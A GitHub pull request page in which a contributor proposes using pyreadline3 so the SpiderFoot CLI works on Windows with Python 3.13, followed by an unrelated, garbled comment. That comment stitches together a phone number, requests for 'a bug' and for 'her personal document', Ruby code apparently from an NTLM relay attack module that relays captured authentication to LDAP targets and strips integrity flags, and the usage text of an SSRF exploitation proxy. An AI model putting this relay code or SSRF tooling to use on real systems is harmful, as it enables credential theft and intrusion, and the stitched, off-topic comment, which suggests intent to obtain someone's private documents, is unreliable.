Skip to content

fix: use pyreadline3 on Windows for the REPL - #2026

Open
TrueFurina wants to merge 1 commit into
smicallef:masterfrom
TrueFurina:pr2-pyreadline3
Open

fix: use pyreadline3 on Windows for the REPL#2026
TrueFurina wants to merge 1 commit into
smicallef:masterfrom
TrueFurina:pr2-pyreadline3

Conversation

@TrueFurina

Copy link
Copy Markdown

Summary

sfcli.py (lines 39–42) falls back to import pyreadline as readline on
platforms without the readline stdlib module (e.g. Windows). pyreadline
is unmaintained (last release 2019) and crashes on Python 3.13:

AttributeError: module 'collections' has no attribute 'Callable'
    (pyreadline/py3k_compat.py, line 8)

collections.Callable was removed in Python 3.10; pyreadline's py3k shim
still references it, so the SpiderFoot CLI is broken on Windows + Python 3.13
either way (missing module without pyreadline installed, or this crash with
it installed).

This change prefers pyreadline3 — the maintained fork with Python 3.10+
support — before falling back to legacy pyreadline, keeping old installs
working.

Verification (Windows 11, Python 3.13.9)

Before:

$ python -c "from sfcli import SpiderFootCli"
ModuleNotFoundError: No module named 'pyreadline'          # pyreadline not installed
AttributeError: module 'collections' has no attribute 'Callable'  # with legacy pyreadline

After (with pyreadline3 installed):

$ python -c "from sfcli import SpiderFootCli; print(SpiderFootCli.version)"
sfcli import OK, version: 4.0.0
$ python -c "import readline; print(readline.get_history_item)"
<built-in method get_history_item of ...>

Linux/macOS are unaffected: readline is part of the stdlib there, so the
fallback branch is never reached.

@dashlaxmipriya702-svg

Copy link
Copy Markdown

+91 70495 07630 i want a bug initialize(cli, relay_targets, logger, timeout = 25)
@cli = cli
@State = :unauthenticated
@relay_targets = relay_targets
@logger = logger
@timeout = timeout
@relayed_connection = nil
@current_target = nil

  @ntlm_context   = {
    wrapper: :none,
    type1: nil,
    type2: nil
  }
end

def process_request(req)
  logger.print_status("Processing request in state #{state} from #{cli.peerhost}")
  auth_header = req.headers['Authorization']
  auth_type, b64_message = extract_ntlm_message(auth_header)

  parsed_ntlm = nil
  raw_ntlm_bytes = nil

  if b64_message
    begin
      raw_ntlm_bytes = unwrap_ntlm_base64(b64_message)
      parsed_ntlm = Net::NTLM::Message.parse(raw_ntlm_bytes)
    rescue ::Exception => e
      logger.print_error("Failed to parse incoming NTLM/SPNEGO message: #{e.message}")
      abort_connection("Invalid NTLM payload.")
      return
    end
  end

  case state
  when :unauthenticated
    if parsed_ntlm.nil?
      send_401_challenge
    elsif parsed_ntlm.is_a?(Net::NTLM::Message::Type1)
      logger.print_status("Received Type 1 message from #{cli.peerhost}, attempting to relay...")
      handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type)
    else
      abort_connection("Expected No Auth or Type 1, got something else.")
    end

  when :awaiting_type3
    if parsed_ntlm && parsed_ntlm.is_a?(Net::NTLM::Message::Type3)
      logger.print_status("Received Type 3 message from #{cli.peerhost}, attempting to relay...")
      handle_type3(parsed_ntlm)

    elsif parsed_ntlm && parsed_ntlm.is_a?(Net::NTLM::Message::Type1)
      logger.print_warning("Client restarted the handshake! Resetting state to handle new Type 1...")
      @relayed_connection.disconnect! if @relayed_connection
      @relayed_connection = nil
      handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type)

    else
      abort_connection("Expected Type 3, got something else.")
    end

  when :done
    # The relay is finished for this connection, ignore further requests
  end
end

def create_relay_client(target, timeout)
  case target.protocol
  when :ldap
    client = Msf::Exploit::Remote::Relay::NTLM::Target::LDAP::Client.create(self, target, logger, timeout)
  else
    raise RuntimeError, "unsupported protocol: #{target.protocol}"
  end

  client
rescue ::Rex::ConnectionTimeout => e
  msg = "Timeout error retrieving server challenge from target #{target}. Most likely caused by unresponsive target"
  elog(msg, error: e)
  logger.print_error msg
  nil
rescue ::Exception => e
  msg = "Unable to create relay to #{target}"
  elog(msg, error: e)
  logger.print_error msg
  nil
end

def finished?
  state == :done || state == :aborted
end


def send_401_challenge
  res = Rex::Proto::Http::Response.new
  res.code = 401
  res.message = "Unauthorized"
  res.headers['WWW-Authenticate'] = "NTLM, Negotiate"
  res.headers['Connection'] = "Keep-Alive"
  res.headers['Content-Length'] = "0"
  res.body = ""

  cli.put(res.to_s)
end

def handle_type1(raw_ntlm_bytes, parsed_ntlm, auth_type)
  @ntlm_context[:type1] = raw_ntlm_bytes
  @current_target ||= @relay_targets.next(cli.peerhost)

  if @current_target.nil?
    logger.print_status("Target list exhausted for #{cli.peerhost}. Closing connection.")
    res = Rex::Proto::Http::Response.new
    res.code = 404
    res.message = "Not Found"
    res.headers['Connection'] = "Close"
    res.headers['Content-Length'] = "0"
    cli.send_response(res)
    @state = :done
    return
  end

  begin
    logger.print_status("Attempting to relay to #{Rex::Socket.to_authority(@current_target.ip, @current_target.port)}")
    @relayed_connection = create_relay_client(@current_target, @timeout)

    if @relayed_connection.nil?
      logger.print_error("Connection to #{@current_target.ip} failed: unable to create relay client")
      advance_to_next_target_via_redirect
      return
    end

    if @current_target.drop_mic_and_sign_key_exch_flags
      incoming_security_buffer = do_drop_mic_and_flags(parsed_ntlm)
    elsif @current_target.drop_mic_only
      incoming_security_buffer = do_drop_mic(parsed_ntlm)
    else
      incoming_security_buffer = parsed_ntlm.serialize
    end

    relay_result = @relayed_connection.relay_ntlmssp_type1(incoming_security_buffer)

    if relay_result && relay_result.nt_status == WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
      type2_msg = relay_result.message
      @ntlm_context[:type2] = type2_msg

      if @ntlm_context[:wrapper] == :gss_spnego
        wrapped_type2 = RubySMB::Gss.gss_type2(type2_msg.serialize)
        target_type2_msg = Rex::Text.encode_base64(wrapped_type2)
        auth_header = "#{auth_type} #{target_type2_msg}"
      else
        target_type2_msg = Rex::Text.encode_base64(type2_msg.serialize)
        auth_header = "#{auth_type} #{target_type2_msg}"
      end
      logger.print_status("Received type2 from target #{@current_target.protocol}://#{Rex::Socket.to_authority(@current_target.ip, @current_target.port)}, attempting to relay back to client")
      res = Rex::Proto::Http::Response.new
      res.code = 401
      res.message = "Unauthorized"
      res.headers['WWW-Authenticate'] = auth_header
      res.headers['Connection'] = "Keep-Alive"
      res.headers['Content-Length'] = "0"

      cli.send_response(res)
      @state = :awaiting_type3
      return
    else
      logger.print_error("Target #{@current_target.ip} rejected the Type 1 message.")
    end

  rescue ::Exception => e
    logger.print_error("Connection to #{@current_target.ip} failed: #{e.message}")
  end

  advance_to_next_target_via_redirect
end

def complete_current_relay_attempt(is_success:, identity: nil)
  return unless @current_target

  @relay_targets.on_relay_end(@current_target, identity: identity, is_success: is_success)
end

def handle_type3(parsed_type3)
  relay_succeeded = false
  relay_completed = false

  # 1. Safely extract the identity from the Type 3 message early
  identity = nil
  if parsed_type3
    domain = parsed_type3.domain.to_s.force_encoding('UTF-8')
    user = parsed_type3.user.to_s.force_encoding('UTF-8')
    identity = "#{domain}\\#{user}" unless user.empty?
  end

  if @current_target.drop_mic_and_sign_key_exch_flags
    incoming_security_buffer = do_drop_mic_and_flags(parsed_type3)
  elsif @current_target.drop_mic_only
    incoming_security_buffer = do_drop_mic(parsed_type3)
  else
    incoming_security_buffer = parsed_type3.serialize
  end

  relay_result = @relayed_connection.relay_ntlmssp_type3(incoming_security_buffer)

  if relay_result && relay_result.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
    relay_succeeded = true i want her personal document and privacy Usage:   ssrf-proxy [options] -u <SSRF URL>

Example: ssrf-proxy -u http://target/?url=xxURLxx
Options:

-h, --help Help
--version Display version

Output options:
-v, --verbose Verbose output
-d, --debug Debugging output
--no-color Disable colored output

Server options:
-p, --port=PORT Listen port (Default: 8081)
--interface=IP Listen interface (Default: 127.0.0.1)

SSRF request options:
-u, --url=URL Target URL vulnerable to SSRF.
-f, --file=FILE Load HTTP request from a file.
--placeholder=STR Placeholder indicating SSRF insertion point.
(Default: xxURLxx)
--method=METHOD HTTP method (GET/HEAD/DELETE/POST/PUT/OPTIONS)
(Default: GET)
--post-data=DATA HTTP post data
--cookie=COOKIE HTTP cookies (separated by ';')
--user=USER[:PASS] HTTP basic authentication credentials.
--user-agent=AGENT HTTP user-agent (Default: none)
--rules=RULES Rules for parsing client request
(separated by ',') (Default: none)
--no-urlencode Do not URL encode client request

SSRF connection options:
--ssl Connect using SSL/TLS.
--proxy=PROXY Use a proxy to connect to the server.
(Supported proxies: http, https, socks)
--insecure Skip server SSL certificate validation.
--timeout=SECONDS Connection timeout in seconds (Default: 10)

HTTP response modification:
--match=REGEX Regex to match response body content.
(Default: \A(.*)\z)
--strip=HEADERS Headers to remove from the response.
(separated by ',') (Default: none)
--decode-html Decode HTML entities in response body.
--unescape Unescape special characters in response body.
--guess-status Replaces response status code and message
headers (determined by common strings in the
response body, such as 404 Not Found.)
--guess-mime Replaces response content-type header with the
appropriate mime type (determined by the file
extension of the requested resource.)
--sniff-mime Replaces response content-type header with the
appropriate mime type (determined by magic bytes
in the response body.)
--timeout-ok Replaces timeout HTTP status code 504 with 200.
--detect-headers Replaces response headers if response headers
are identified in the response body.
--fail-no-content Return HTTP status 502 if the response body
is empty.
--cors Adds a 'Access-Control-Allow-Origin: *' header.

Client request modification:
--forward-method Forward client request method.
--forward-headers Forward all client request headers.
--forward-body Forward client request body.
--forward-cookies Forward client request cookies.
--cookies-to-uri Add client request cookies to URI query string.
--body-to-uri Add client request body to URI query string.
--auth-to-uri Use client request basic authentication
credentials in request URI.
--ip-encoding=MODE Encode client request host IP address.
(Modes: int, ipv6, oct, hex, dotted_hex)
--cache-buster Append a random value to the client request
query string.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants